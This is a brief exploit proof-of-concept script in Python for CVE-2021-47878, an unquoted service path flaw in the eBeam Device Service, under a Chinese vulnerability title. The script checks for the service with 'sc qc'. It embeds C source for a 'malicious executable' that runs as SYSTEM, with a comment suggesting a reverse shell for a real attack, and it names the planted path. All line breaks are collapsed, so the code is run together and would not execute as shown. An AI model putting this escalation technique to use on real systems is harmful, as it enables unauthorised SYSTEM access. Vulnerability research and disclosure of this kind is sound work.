CVE-2021-47878 eBeam Education Suite 未引号服务路径权限提升漏洞

# CVE-2021-47878 PoC - eBeam Device Service Unquoted Service Path # This PoC demonstrates how to exploit the unquoted service path vulnerability # to gain SYSTEM level code execution import os import subprocess import shutil def check_vulnerable_service(): """Check if eBeam Device Service exists and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'eBeam Device Service'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [l for l in result.stdout.split('\n') if 'BINARY_PATH' in l] if path_line: print(f"Service path: {path_line[0]}") return True except: pass return False def create_malicious_executable(): """Create malicious executable to be placed in unquoted path""" # In real attack, this would be a reverse shell or other payload malicious_code = ''' #include <windows.h> #include <stdlib.h> int main() { // Add your malicious code here // This runs as SYSTEM when service starts system("cmd.exe /c whoami > C:\\temp\\pwned.txt"); return 0; } ''' print("Malicious executable would be created at path like:") print("C:\\Program Files\\eBeam\\Device.exe") print("When service starts, this will be executed as SYSTEM") def main(): print("CVE-2021-47878 PoC - eBeam Device Service Unquoted Service Path") print("=" * 60) if check_vulnerable_service(): print("[+] eBeam Device Service found with unquoted path!") create_malicious_executable() else: print("[-] Target service not found or not vulnerable") if __name__ == "__main__": main()